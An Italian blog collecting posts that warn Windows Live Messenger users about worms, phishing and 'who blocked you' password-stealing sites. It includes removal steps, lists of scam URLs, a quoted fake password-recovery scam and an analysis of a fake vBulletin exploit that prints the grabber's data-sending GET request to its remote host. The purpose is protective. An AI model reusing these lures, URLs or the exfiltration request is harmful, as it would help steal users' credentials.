Nuova versione di Wlm Safe 3.5, l'antivirus per Windows live messenger

La maggior parte dei virus che colpiscono gli utenti di Windows Live Messenger si diffonde tramite un link ricevuto in una finestra di conversazione da un proprio contatto infetto.
Cliccando su uno di questi link si viene infettati, e il virus si diffonde inviando lo stesso link a tutta la vostra lista contatti.

WLM Safe è il primo script per Messenger Plus! che aggiunge sicurezza a Windows Live Messenger.
Le Principali Funzioni di Wlm Safe sono:

• Blocca i link ricevuti che rimandano a virus.
• Blocca i link ricevuti che rimandano a siti di phishing (furto dei dati personali)
• Consente di bloccare i link inviati (opzione da attivare se si è già infetti)
• Consente di ricevere notifiche con informazioni aggiornate sui virus più recenti
• La nuova versione è stata implementata con suoni e una grafica migliore.

Ecco lo screenshot:

Scarica Gratis WLM SAFE

Eliminare il virus di Msn messenger: Questa è la tua foto? http://youtube.my3gb.com/index.php?= tuocontatto@hotmail.it

Pochi giorni fa ho pubblicato l'articolo di avviso per mettere all'erta a tutti gli utenti di Windows live messenger in merito al nuovo virus che si sta diffondendo sempre di piu'.
Il virus invia link ai vostri contatti di messenger come:

Questa è la tua foto? http://youtube.my3gb.com/index.php?= tuocontatto@hotmail.it

Oppure:

?? Questa è la tua foto? http://myspaces.110mb.com/index.php?=******@hotmail.it
??

Grazie al commento ricevuto da Jonas vi posterò la guida tradotta in italiano per l'eliminazione del virus:

1)Chiudi il processo wksvcsc.exe( vai sul TaskManager con il tasto destro del mouse e seleziona gestione attività cerca il processo sotto Processi e chiudilo)

2)Elimina la chiave d registro del pc:
Computer / HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersion / Esegui / UDP di controllo di Windows Servizio: wksvcsc.exe
(Start -> Esegui -> "regedit", navigare verso la chiave e di eliminarla fare clic destro)
Riavvia il computer e apri il TaskManger, se il processo è ancora attivo ripeti il passo 1.

UPDATE
Andando nella cartella WINDOWS e togliendo la spunta su "Nascondi file di sistema(consigliato)" troverete il file wksvcsc.exe, cancellatelo, per la completa sicurezza.
By Katalux

Truffe di Messenger su Google AdWords: attenti a www.new-messenger.com

L'altro giorno effettuando la ricerca "messenger" su Google ho potuto notare un sito particolarmente strano, appartenente ai collegamenti sponsorizzati di Google Adwords, si tratta di www.new-messenger.com.Il sito in questione non è della microsoft e neanche un sito in collaborazione con la microsoft ma una bella TRUFFA!
Ossia, all'interno di questo sito è possibile scaricare diverse versioni di Windows live messenger e messenger plus, ma dopo che li scaricate, per l'installazione vi chiederà un codice d'installazione che potrete avere chiamando a un numero telefonico ovviamente a pagamento:Quindi un grandissimo furto di soldi.
Vi ricordo che Windows live messenger e Messenger plus sono programmi completamente gratuiti e scaricabili liberamente da tutti.

Ecco lo screenshot del sito:

Ennesimo sito truffa: Myfriend.info

Il sito http://myfriendz.info/indexxx.php è il solito sito truffa che sfrutta msn per fare dello spam.
Inserendo i vostri dati di msn, ossia username e password, il vostro contatto si disconnetterà e a tutti i vostri contatti online che ci sono in quel momento, arriverà un messaggio di spam, con un link a quel sito dicendovi che vi permette di sapere chi vi ha bloccato su Msn.
Tutto questo è una grossa balla, non esistono siti che permettono di sapere chi vi ha bloccato su Msn.
Fidarsi è bene non fidarsi è meglio ;)

Update
Ho provato a collegarmi al sito, tramite Mozilla Firefox, modificando il link (http://myfriendz.info) e mi è uscito un messaggio che mi avvisa che il sito che sto visitando è contrafatto, ecco lo screenshot:

Messengerlisting.com ennesima truffa

ScanMessenger si ripresenta nuovamente sotto forma di messengerlisting.com, come avevo già anticipato tempo fà scanmessenger è un sito che permette di scoprire chi dei tuoi contatti ti ha bloccato su windows live messenger, ma in realtà tutto questo non avviene, ruba la vostra password di msn e a tutti i vostri contatti invia un messaggio dicendo:

“http://www.ScanMessenger.com <-- Scopri chi ti ha eliminato dalla propria lista MSN senza lasciare nessuna traccia”

...di conseguneza facendo spam...
State attenti a non cadere in queste piccole truffe, se avete già utilizzato precedentemente servizi del genere io consiglio di cambiarvi immediatamente la password per motivi di sicurezza.
Ecco un piccolo elenco di siti che effettuano questo genere di truffe:

http://www.messengerlist.biz/
http://www.messengerscan.com/it
http://www.nonammesso.com/
http://www.checkmessenger.net/
http://www.scanmessenger.com/
http://www.messenger-list.net/
http://www.listingmessenger.com/
http://www.checkmessenger2.net/
http://www.checkmessenger3.net/
http://www.contact-messenger.net
http://www.bloquo.com/
http://www.messengerlisting.com/

Truffe su messenger plus!

Pochi giorni fa Patchou il creatore di Messenger plus live ha scritto un articolo allarmando tutti i visitatori delle nuove truffe che ultimamente stanno girando in rete riguardo messenger plus.
Questi siti solitamente possiedono un link che assomiglia a quello originale di messenger plus ma con la differenza che per poter scaricare il programma è necessario un pin (codice) che potrete avere solo chiamando a un numero telefonico a pagamento che non vi verrà mai dato ma vi preleveranno i soldi cioè una grandissima truffa.
Quindi vi ricordo che Messenger plus live è assolutamente gratuito e non necessita di nessun pin o codici o chiamate, e consiglia di poterlo scaricare dal suo sito ossia www.msgpluslive.net oppure da altri siti affidabili... (come questo).
Infine Patchou scrive nel suo sito:

"Per concludere il mio post, non posso fare altro che aggiungere qualcosa di scontato", ha poi aggiunto Patchou, "Problemi di questo genere dovrebbero essere facilmente evitabili in questi tempi, con la creazione di un indice dei siti fraudolenti e con l'aggiunta di controlli nei maggiori browser internet che avvisino quando gli utenti stanno per caricare una pagina sospetta.
Queste cose già esistono, ad esempio McAfee ha già un servizio del genere e si chiama SiteAdvisor... Peccato che secondo il loro filtro, il sito ufficiale di Messenger Plus! Live è molto a rischio, perchè installerebbe software non richiesto, tra cui addirittura undici trojan. Invece, uno di questi siti-truffa come messengerplus.ms è considerato sicuro..."

Inoltre accenna di una nuova versione che è in fase di testing e che presenterà qualche piccola novità...Avremo piu' notizie in seguito ;-)

Preso un ladro di account Messenger

Catania - Utilizzati da milioni di utenti anche in Italia, i software di instant messaging sono da sempre nel mirino dei ladri di identità: a causa di tecniche di social engineering sono molti gli utenti di sparamessaggini che hanno involontariamente consegnato a terzi le proprie credenziali di accesso, solo per vedersi sbarrare poi la strada ad un successivo tentativo di accesso. Un ragazzo che ha rubato almeno un account di Windows Live Messenger è stato individuato dalla Guardia di Finanza e a suo carico sono scattate denunce pesanti di natura penale.

In particolare a F.M.G., residente ad Acireale, le Fiamme Gialle hanno contestato i reati di "accesso abusivo ad un sistema informatico" e "detenzione e diffusione abusiva di codici di accesso a sistemi informatici o telematici" previsti dagli artt. 615 ter e quater del Codice Penale.

Le indagini, condotte in collaborazione con Microsoft Italia, hanno portato all'individuazione del giovane grazie alla ricostruzione dei suoi movimenti in Internet. Questi, dopo aver sottratto le credenziali di accesso ad un utente Messenger, aveva modificato la password e si era dedicato ad attività costruttive come l'insulto sistematico a tutti i contatti in linea di quell'utente. "Dopo essere entrato nell'account di messaggistica istantanea e aver modificato User-Id e Password in modo che il reale intestatario non potesse più accedervi - spiega una nota della Guardia di Finanza - il F. M. G. modificava l'aspetto "messenger" dell'account in questione (visibile in rete da tutti gli altri utenti che hanno contatto con esso) pubblicando una frase particolarmente ingiuriosa ed offensiva visibile da altri utenti della rete Internet".
La denuncia contro ignoti pervenuta al Nucleo di Polizia Tributaria della Guardia di Finanza di Catania ha spinto i finanzieri prima a ricostruire i movimenti Internet del "ladro", compreso l'uso della casella di posta elettronica associata all'account Messenger, e poi ha portato alla perquisizione domiciliare nel corso della quale sono stati individuati e sequestrati computer e altri dispositivi hardware e software che si ritiene siano stati utilizzati per "carpire illegalmente codici di accesso ed informazioni su ignari utenti".

Le indagini coordinate dal Sostituto procuratore della Repubblica di Catania, Salvatore Faro, procedono a carico del giovane: gli inquirenti vogliono verificare se vi siano stati altri utilizzi abusivi dell'account sottratto.

Tra le conseguenze ovvie di una operazione che provoca addebiti di natura penale per il giovane smanettone, in uno dei primissimi casi del genere in Italia, c'è anche quella di rappresentare evidentemente un messaggio sull'importanza di mantenere una certa riservatezza sui propri dati di accesso. Dati che identificano, e il cui abuso può influire sulla propria rete di relazioni, ma che sono trattati da taluni con molta leggerezza. Senza parlare poi di quei casi in cui il tentativo di acquisire informazioni riservate degli utenti dei sistemi di instant messaging è realizzato su scala industriale e destinato a mietere vittime tra gli utenti meno attenti.

Fonte:PI

Rubare password di Msn? troppi fake

Ormai in rete sono sempre piu' le persone che vogliono rubare le password, ma allo stesso tempo sono sempre di piu' i metodi che si inventano per rubarle...tra queste tecniche si aggirano numerose bufale e oggi ve ne mostrerò una fatta veramente bene...
Godetevi il video:

Rimuovere Nakedmodel18.com / Win32/IRCBot.AAL

Come sappiamo dal post precedente, è in rete un nuovo virus che infetta tramite Windows Live Messenger, attraendo nella trappola con il messaggio "Emoticon con il tuo volto…etc etc".
Per debellare questo virus è necessario:

Eliminare il file "C:\Documents e Settings\utente\Impostazioni Locali\temp\services.exe" (attenzione, la cartella Impostazioni Locali è nascosta, per vederla bisogna andare in Strumenti—>Opzioni Cartella—>Visualizzazione e lì spuntare "Visualizza cartelle e files nascosti") .Come si potrà intuire, services.exe è un nome fasullo utilizzato dallo worm per evitare di essere riconosciuto, in quanto un importante processo di Windows XP è services.exe che stà però in \Windows\System32. Per eliminarlo si può provare ad effettuare l’ eliminazione manuale. Se si incapperà in qualche errore, ecco come risolvere facilmente:

1. Recarsi in Start — Esegui e scrivere "msconfig" e dare INVIO.
2. Nella schermata che appare spostarsi nella scheda Avvio. Individuare nell’ elenco "Services.exe" e de-checcarlo (togliere il segno di "visto" dalla relativa casellina)
3. Clickare su Ok e riavviare il computer
4. Tornati in Windows, recarsi dove stà services.exe (ad esempio in C:\Documents e Settings\Delfins\Impostazioni Locali\temp\services.exe) ed eliminarlo manualmente, ora si riuscirà a farlo
5. Svuotare il cestino
6. Virus debellato!

Fonte:Delfinsblog

Nuovo virus:Emoticon con il tuo volto e nakedmodel18.com

Non c’è pace per gli utenti di MSN Messenger/Windows Live Messenger, continuamente bersagliati da virus che sfruttano la rete di chat per diffondersi e non c’è volta che migliaia e migliaia di persone non caschino nel tranello.

L’ ultima trovata dei virus writer si chiama Nakedmodel18.com. L’ utente che ha tra i contatti una persona infetta, si vedrà recapitare messaggi MSN con questo testo:

Emoticon con il tuo volto:-O http://www.very-naked.com/?=email

dove email è l’ email dell’ utente che riceve tal messaggio. Se clikka sul link, gli viene richiesto il download di un file come vedete qui sotto:

nakemodel18.com, che nient’ altro è che un virus, più precisamente il Backdoor Win32/IRCBot.AAL. Appena accettato il download ed avviato, il file che non è un sito web (come l’ estensione .com tenta di far immaginare) ma un eseguibile simile al .exe, si installa nel PC vittima ed inizia, a sua volta, ad inviare messaggi truffaldini ai contatti della nuova vittima.
Il virus si può eliminare con HijackThis che potete scaricare cliccando QUI

Fonte:Delfinsblog

CyberLover il bot ruba password

Un software chiamato CyberLover è capace di adescare gli utenti che frequentano siti di dating on line imitando alla perfezione il dialogo con persone vere. E in questo modo ruba dati personali.
È stato messo a punto un software capace di adescare gli utenti che frequentano siti di dating on line. Si chiama CyberLover ed è in grado di simulare delle chat che imitano alla perfezione quelle che si potrebbero avere con utenti dell’altro sesso.

Si tratta di un BOT che apre fino a trenta conversazioni insieme con utenti diversi e li stimola con conversazioni piccanti al punto da indurli a rivelare dati personali e privati.

Il BOT non lavora su una lista di frasi o domande preconfezionate, ma è in grado di interpretare in modo intelligente i contenuti della conversazione per adeguare il tono del discorso e le risposte più consone a quello che gli interlocutori dicono e si aspettano.

Appena l’utente cade nella trappola di dichiarare informazioni personali il sistema immediatamente ne approfitta rubando al malcapitato dati o soldi, nel caso in cui sia arrivato in possesso di informazioni relative alla carta di credito.

Il furto dei dati personali avviene spesso inducendo gli utenti tramite la chat ad aprire delle pagine Web particolari in cui vengono scaricati nel PC di chi ha subito l’attacco di CyberLover alcuni malware. Questi rubano dati personali o trasferiscono informazioni private dell’utente.

In altri casi gli utenti vengono indotti a registrarsi in siti in cui si devono introdurre informazioni come numeri di carta di credito o userid e password per accedere. Considerando che le password usate dagli utenti tendono a essere sempre le stesse dovunque si registrano è facile per il sistema carpire informazioni che possono essere inserite poi in tutti gli altri siti in cui un utente è registrato.
Immaginiamo se questo bot verrà creato per Windows live Messenger?magari inviando il malware tramite file zip spacciandolo per foto osè...Addio Microsoft XD

Fonte:Webmasterpoint

Resoconto dei siti truffa per Msn

Oggi vi elencherò alcuni dei piu famosi siti per Msn che dicondo di scoprire chi vi ha bloccati ma in realtà rubano password per fare spam(pubblicità).
Elenco:
http://www.messengerlist.biz/
http://www.messengerscan.com/it
http://www.nonammesso.com/
http://www.checkmessenger.net/
http://www.scanmessenger.com/
http://www.messenger-list.net/
http://www.listingmessenger.com/
http://www.checkmessenger2.net/
http://www.checkmessenger3.net/
http://www.contact-messenger.net
http://www.bloquo.com/
Se conoscete altri siti come questi potete scriverli nei commenti e li aggiungerò alla lista.

Le truffe delle password

Su emule e in giro per la rete si trovano delle guide come questa per scoprire le password di Msn:

Nel seguente documento spiegherò uno metodo reale e funzionante per trovare la password dell'email
di qualsiasi utente microsoft, hotmail, msn o yahoo.

-Comporre un nuovo messaggio.Inserire come destinatario questo indirizzo: ******@hotmail.it
-Nel soggetto inserite "LOST PASSWORD" senza apici.
-Nel corpo del messaggio scrivete nella prima riga il vostro indirizzo email( esempio mioindirizzo@hotmail.com ).
-Lasciate la seconda riga VUOTA.
-Poi scrivete nella terza riga la password corretta del vostro indirizzo inserito precedentemente.
-La quarta riga la lascerete vuota.
-Nella quinta riga scrivete l'indirizzo email della persona di cui volete sapere la password.

Ecco è una pura truffa inquanto quando inserite la vostra password e indirizzo e-mail nel documento da inviare a *******@hotmail.it , *******@hotmail.it avrà rubato automaticamente la vostra password quindi state attenti e diffidate di queste guide truffaldine

Check Messenger3 = SPAM

Si presenta sotto forma di diversi link come:

http://www.contact-messenger.com
http://www.CheckMessenger3.net

Ma il sito è sempre lo stesso...
A cosa serve CheckMessenger3?
CheckMessenger 3 e' un servizio gratuito che ti permette di controllare se un tuo contatto di MSN Messenger ti ha bloccato o eliminato dalla propria lista inserendo la tua password e il tuo indirizzo e-mail di Msn....
Cosa fanno loro con i nostri dati?
Salvano le password e le email per fare spam infatti appena inserite l'indirizzo e la password invia a tutti i tuoi contatti un messaggio come questo:

http://www.CheckMessenger3.net <-- Scopri chi ti ha eliminato dalla propria lista MSN senza lasciare nessuna traccia

Inoltre non sono attendibili queste notizie perchè facendo diversi test ho notato che dava sempre notizie diverse e garantisco che non è attendibile al 100%
Quindi è inutile inserire i vostri dati per farvi prendere la password per farvi fare spam indirettamente e non darvi neanche le notizie attendibili...
Diffidate di questi siti e non date mai la password a nessuno e non vi accadrà nulla...

MI copiano il blog

Ecco alcuni link di persone che sanno solo copiare e non hanno un minimo di intelligenza per fare un articolo senza prenderlo dal mio blog!
Per uno ho gia fatto la denuncia e se lo cancella tutto o mette le fonti in ogni articolo ritiro la denuncia, per l'altro non ancora ma non fra poco la faccio anche per quello...
Ecco i link:
http://dedecardella.blogspot.com/search/label/Msn
http://trucchipermsn.blogspot.com/

www.view-list.biz oppure www.checkmessenger3.com= Sito truffa

Ennesimo sito truffaldino che vi ruba la password per fare spam e vi mette come nick:
“http://www.CheckMessenger3.com <-- Scopri chi ti ha eliminato dalla propria lista"
Logicamente diffidate di questi siti e non date mai la password a nessuno, è una grande bufala che vi fa scopri chi vi ha bloccato, se lo provate piu volte, noterete che vi dice che vi hanno bloccato sempre persone diverse.

vBullettin_ALL_priv8_exploit

Ultimamente gira per msn un file rar contenente un fantomatico exploit per tutte le versioni di vBulletin.
Il file in questione e' un .EXE di nome: vBullettin_ALL_priv8_exploit.
Eseguendo una analisi sul file con un debugger si nota immediatamente che si tratta di un fake. Infatti esso e' un msn grabber cammuffato da 0day.
Il file esegue la seguente richiesta GET:

GET /vbull.php?hack=*****&web=****************&Dat=*******************=HTTP/1.1

L'host remoto e': http://www.vbulletin.altervista.org

Invitiamo chiunque lo abbia eseguito a modificare la propria password
Fonte

NonAmesso.com= sito truffa

Si si le truffe non si fermano mai...proprio da poco la Microsoft aveva bloccato svariati link di questi siti che rubano le password per farne uso proprio e solitamente le usano per fare spam al proprio sito...Infatti questa fa la stessa identica cosa...Dopo che inserite indirizzo e-mail e password invierà a tutti i vostri contatti un messaggio di spam come questo:

Nonammesso.com - Verifica chi ti ha bloccato o chi ti ha eliminato nel Messenger! scrive:
Ciao, guarda che bello http://www.nonammesso.com Scopri chi ti ha bloccato nel Messenger!

Quello che dicono loro sulla sicurezza:
La tua sicurezza Nonammesso.com ti assicura che le tue informazioni non saranno condivise né la tua password sarà immagazzinata. Puoi usare Nonammesso.com con la sicurezza di un approccio professionale
Quello che dico io:Fidarsi è bene non fidarsi è meglio, non date mai la password a nessuno!!

ListingMessenger.com è una truffa

Leggo in questo post su DelfinBlog la nascita di ListingMessenger.com. Il servizio, come i precedenti, promette di sapere chi ti ha bloccato su MSN Messenger. In realtà per utilizzarlo è necessario inserire la propria mail e la propria password, che verrà (All’insaputa dell’utente) registrata in un database.

Questo, come spiega Guido Arata, è pronto ad essere venduto a losche associazioni lucrose per fior di quattrini, o per essere utilizzato direttamente dai creatori del servizio. Una volta usato il servizio, a nostra insaputa, ListingMessenger si connette al nostro account ed invia ad alcuni nostri contatti frasi di spamming che cercando di convincerli ad utilizzare il medesimo servizio.

Se siete caduti in trappola cambiate la password di accesso ad MSN.

Fonte:UploadsBlog

Tentativo mancato di furto della mia password...

E si ormai è noto che piu passa il tempo piu c'è gente che non si sa fare i cavoli propri e vuole sbirciare o rovinare le cose private degli altri su internet ormai è invaso di persone che tentano di rubare password...questa è una piccola dimostrazione....

Mentre ero su Msn questo contatto mi dice di provare questo nuovo programma per creare nick che aveva creato lui....io insospettito di ciò ricevo il programma e lo metto su un altro computer dove non c'è la connessione a internet...e appena faccio doppio click mi dice che il programma era stato creato da **** e di fare click su continua Come faccio click su continua mi appare subito una schermata del dos scorrere velocissima quindi immediatamente faccio click sul tasto Pausa e si fermano tutte le scritte e incomincio a leggere cose non molto gradevoli...Cioè mi voleva rubare la password inoltre questo programma creava un file lol.html e quando clicki su continua dopo un paio di secondi si autocancella...all'interno di quel file c'era un documento con scritto:

Istant Messenger Account List

Created by using MessenPass

Da qui mi ha dato un altra conferma che la persona che mi ha inviato questo finto programma ha utilizzato messenPass noto programma per trovare le vecchie password salvate sul computer in caso siano state dimenticate...Quindi come si dice fidarsi è bene non fidarsi è meglio!!Diffidate sempre di queste persone e quando fate qual cosa del genere cambiatevi sempre la password o dovrete dire addio al vostro account!!